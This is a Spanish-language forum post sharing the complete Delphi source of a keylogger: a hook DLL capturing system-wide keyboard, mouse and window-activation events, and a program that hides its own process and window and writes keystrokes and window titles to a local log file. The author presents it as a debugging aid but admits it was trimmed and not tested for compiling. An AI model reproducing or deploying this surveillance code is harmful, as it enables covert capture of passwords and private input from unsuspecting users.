Siempre quise evitar subir código de este tipo, aunque existan infinidades de ejemplos en la web, pero bueno.. ahí va:
Este keylogger lo hice para poder generar información de debug, según lo que hacía el usuario para su posterior debug, fue algo que salió demaciado rapidito, así que hay unas cuantas "chanchadas" en el código, tengo una aplicación que lee el archivo que genera y repite la acción, aunque creo que no funcionaba en forma completa.
Código Delphi
[-]
library HookDLL;
uses
Windows,
Messages;
const
CM_WH_BASE = WM_USER + $1234;
CM_WH_KEYBOARD = CM_WH_BASE;
CM_WH_WNDMESSAGE = CM_WH_BASE + 1;
CM_WH_MOUSE = CM_WH_BASE + 2;
var
whKeyboard,
whWndProc,
whMouse: HHook;
MemFile: THandle;
Reciever: ^Integer;
function KeyboardHookCallBack(Code: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
begin
if (code = HC_ACTION) then
begin
MemFile := OpenFileMapping(FILE_MAP_READ, False, 'KeyReciever');
if (MemFile <> 0) then
begin
Reciever := MapViewOfFile(MemFile, FILE_MAP_READ, 0, 0, 0);
PostMessage(Reciever^, CM_WH_KEYBOARD, wParam, lParam);
UnmapViewOfFile(Reciever);
CloseHandle(MemFile);
end;
end;
Result := CallNextHookEx(whKeyboard, Code, wParam, lParam)
end;
function WndProcHookCallBack(Code: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
var
cwps: CWPSTRUCT;
begin
if (code = HC_ACTION) then
begin
MemFile := OpenFileMapping(FILE_MAP_READ, False, 'KeyReciever');
if (MemFile <> 0) then
begin
Reciever := MapViewOfFile(MemFile, FILE_MAP_READ, 0, 0, 0);
CopyMemory(@cwps, Pointer(lParam), SizeOf(CWPSTRUCT));
case cwps.message of
WM_ACTIVATE:
PostMessage(Reciever^, CM_WH_WNDMESSAGE, cwps.hwnd, cwps.message);
end;
UnmapViewOfFile(Reciever);
CloseHandle(MemFile);
end;
end;
Result := CallNextHookEx(whWndProc, Code, wParam, lParam);
end;
function MouseHookCallBack(Code: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
var
mhs: MOUSEHOOKSTRUCT;
begin
if (code = HC_ACTION) and (wParam <> WM_MOUSEMOVE) then
begin
MemFile := OpenFileMapping(FILE_MAP_READ, False, 'KeyReciever');
if (MemFile <> 0) then
begin
Reciever := MapViewOfFile(MemFile, FILE_MAP_READ, 0, 0, 0);
CopyMemory(@mhs, Pointer(lParam), SizeOf(MOUSEHOOKSTRUCT));
PostMessage(Reciever^, wParam, mhs.pt.X, mhs.pt.y);
UnmapViewOfFile(Reciever);
CloseHandle(MemFile);
end;
end;
Result := CallNextHookEx(whMouse, Code, wParam, lParam)
end;
procedure StartHook; stdcall;
begin
whKeyboard := SetWindowsHookEx(WH_KEYBOARD, @KeyboardHookCallBack, hInstance, 0);
whWndProc := SetWindowsHookEx(WH_CALLWNDPROC, @WndProcHookCallBack, hInstance, 0);
whMouse := SetWindowsHookEx(WH_MOUSE, @MouseHookCallBack, hInstance, 0);
end;
procedure EndHook; stdcall;
begin
UnhookWindowsHookEx(whKeyboard);
UnhookWindowsHookEx(whWndProc);
UnhookWindowsHookEx(whMouse);
end;
exports
StartHook name 'Start',
EndHook name 'End';
begin
end.
Código Delphi
[-]
program KeyLogger;
uses
Windows,
Messages,
SysUtils;
{$DEFINE TICKET}
const
DLLName = 'HookDLL.dll';
CM_WH_BASE = WM_USER + $1234;
CM_WH_KEYBOARD = CM_WH_BASE;
CM_WH_WNDMESSAGE = CM_WH_BASE + 1;
BUFFER_SIZE = 100;
type
TRegisterServiceProcess = function(dwProcessID, dwType: DWord): DWORD; stdcall;
THookProcedure = Procedure; stdcall;
procedure HideApp;
var
hNdl: THandle;
RegisterServiceProcess: TRegisterServiceProcess;
begin
if Win32Platform = VER_PLATFORM_WIN32s Then
begin
hNdl := LoadLibrary(kernel32);
try
RegisterServiceProcess := GetProcAddress(hNdl, 'RegisterServiceProcess');
RegisterServiceProcess(GetCurrentProcessID, 1);
finally
FreeLibrary(hNdl);
end;
end;
end;
function WindowProc(hWnd: HWND; uMsg: UINT; wParam: WPARAM; lParam: LPARAM ): LRESULT; stdcall;
begin
Result := 0;
case uMsg of
WM_DESTROY:
Halt;
else
Result := DefWindowProc(hWnd, uMsg, wParam, lParam);
end;
end;
var
hInst: LongWord;
WinClass: TWndClass;
Handle,
hCurrentWnd: HWND;
Msg: TMsg;
DLLHandle,
hLogFile,
FileMap: THandle;
StartHook,
EndHook: THookProcedure;
Reciever: ^Integer;
PText: PByteArray;
TextSize,
BytesWritten: DWORD;
S: string;
begin
Try
HideApp;
hInst := hInstance;
hCurrentWnd := 0;
with WinClass do
begin
Style := CS_CLASSDC or CS_PARENTDC;
lpfnWndProc := nil;
lpfnWndProc := @WindowProc;
hInstance := hInst;
hbrBackground := COLOR_BTNFACE + 1; lpszClassname := 'Logger';
hCursor := LoadCursor(0, IDC_ARROW);
end;
if Windows.RegisterClass(WinClass) <> 0 then
begin
Handle := CreateWindowEx(WS_EX_WINDOWEDGE,
WinClass.lpszClassName, WinClass.lpszClassName,
{$IFDEF DEBUG}WS_VISIBLE+{$ENDIF}WS_OVERLAPPED,
0, 0, 0, 0, 0, 0, hInstance, nil);
if Handle <> 0 Then
begin
DLLHandle := LoadLibrary(DLLName);
if (DLLHandle <> 0) then
try
@StartHook := GetProcAddress(DLLHandle, 'Start');
@EndHook := GetProcAddress(DLLHandle, 'End');
if Assigned(StartHook) and Assigned(EndHook) then
begin
hLogFile := CreateFile('C:\MiArchivo.log', GENERIC_WRITE, FILE_SHARE_READ, Nil, OPEN_ALWAYS, 0, 0);
if hLogFile <> 0 then
try
SetFilePointer(hLogFile, 0, Nil, FILE_END);
FileMap := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, SizeOf(Integer), 'KeyReciever');
if (FileMap <> 0) then
try
Reciever := MapViewOfFile(FileMap, FILE_MAP_WRITE, 0, 0, 0);
Reciever^ := Handle;
GetMem(PText, BUFFER_SIZE);
try
StartHook;
try
while(GetMessage(Msg, Handle, 0, 0)) do
begin
case Msg.message of
WM_DESTROY, WM_CLOSE:
Break;
CM_WH_KEYBOARD:
if ((Msg.lParam shr 31) and 1) <> 1 then
begin
if hCurrentWnd <> 0 then
begin
TextSize := GetWindowText(hCurrentWnd, Pointer(PText), BUFFER_SIZE);
hCurrentWnd := 0;
if TextSize > 0 then
begin
Move(PText[0], PText[3], TextSize);
PText^[0] := 13;
PText^[1] := 10;
PText^[2] := 123;
TextSize := TextSize + 6;
PText^[TextSize-3] := 125;
PText^[TextSize-2] := 13;
PText^[TextSize-1] := 10;
{$IFDEF DEBUG}
SetWindowText(Handle, Pointer(PText));
{$ENDIF}
WriteFile(hLogFile, PText^, TextSize, BytesWritten, nil);
end;
end;
if LoWord(Msg.wParam) = 13 then
begin
PText^[0] := 13;
PText^[1] := 10;
TextSize := 2;
end else
if LoWord(Msg.wParam) = 32 then
begin
PText^[0] := 32;
TextSize := 1;
end else
begin
TextSize := GetKeyNameText(Msg.LParam, Pointer(PText), BUFFER_SIZE);
if TextSize > 1 then
begin
Move(PText[0], PText[1], TextSize);
PText^[0] := 91;
TextSize := TextSize + 2;
PText^[TextSize-1] := 93;
end;
{$IFDEF DEBUG}
PText^[TextSize] := 0;
SetWindowText(Handle, Pointer(PText));
{$ENDIF}
end;
WriteFile(hLogFile, PText^, TextSize, BytesWritten, nil);
end;
CM_WH_WNDMESSAGE:
begin
hCurrentWnd := Msg.wParam;
end;
WM_MOUSEMOVE,
WM_LBUTTONDOWN, WM_LBUTTONUP, WM_LBUTTONDBLCLK,
WM_RBUTTONDOWN, WM_RBUTTONUP, WM_RBUTTONDBLCLK,
WM_MBUTTONDOWN, WM_MBUTTONUP, WM_MBUTTONDBLCLK,
WM_MOUSEWHEEL:
begin
{$IFDEF TICKET}
S := '<' + DateTimeToStr(Now) + '>';
WriteFile(hLogFile, S[1], Length(S), BytesWritten, nil);
{$ENDIF}
PText^[0] := Ord('<');
case Msg.message of
WM_MOUSEMOVE:
begin
PText^[1] := Ord('M');
PText^[2] := Ord('M');
end;
WM_LBUTTONDOWN:
begin
PText^[1] := Ord('L');
PText^[2] := Ord('D');
end;
WM_LBUTTONUP:
begin
PText^[1] := Ord('L');
PText^[2] := Ord('U');
end;
WM_LBUTTONDBLCLK:
begin
PText^[1] := Ord('L');
PText^[2] := Ord('D');
end;
WM_RBUTTONDOWN:
begin
PText^[1] := Ord('R');
PText^[2] := Ord('D');
end;
WM_RBUTTONUP:
begin
PText^[1] := Ord('R');
PText^[2] := Ord('U');
end;
WM_RBUTTONDBLCLK:
begin
PText^[1] := Ord('R');
PText^[2] := Ord('D');
end;
WM_MBUTTONDOWN:
begin
PText^[1] := Ord('M');
PText^[2] := Ord('D');
end;
WM_MBUTTONUP:
begin
PText^[1] := Ord('M');
PText^[2] := Ord('U');
end;
WM_MBUTTONDBLCLK:
begin
PText^[1] := Ord('M');
PText^[2] := Ord('U');
end;
WM_MOUSEWHEEL:
begin
PText^[1] := Ord('M');
PText^[2] := Ord('W');
end;
end;
PText^[3] := Ord(';');
S := IntToStr(Msg.lParam) + ';' + IntToStr(Msg.wParam) + '>';
Move(S[1], PText[4], Length(S));
WriteFile(hLogFile, PText^, 4 + Length(S), BytesWritten, nil);
{$IFDEF TICKET}
PText^[0] := 13;
PText^[1] := 10;
WriteFile(hLogFile, PText^, 2, BytesWritten, nil);
{$ENDIF}
end;
end;
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
finally
EndHook;
end;
finally
FreeMem(PText, BUFFER_SIZE);
end;
finally
UnmapViewOfFile(Reciever);
CloseHandle(FileMap);
end;
finally
CloseHandle(hLogFile);
end;
end;
finally
FreeLibrary(DLLHandle);
end;
end;
end;
except
{$IFDEF DEBUG}
raise;
{$ENDIF}
end;
end.
Aclaro que borré algunas funciones innecesarias para el ejemplo y el llamado a otras units, sin probar si compila o no.
Por otro lado verán la forma ridícula de llenar la información en el PArray...
Saludos!
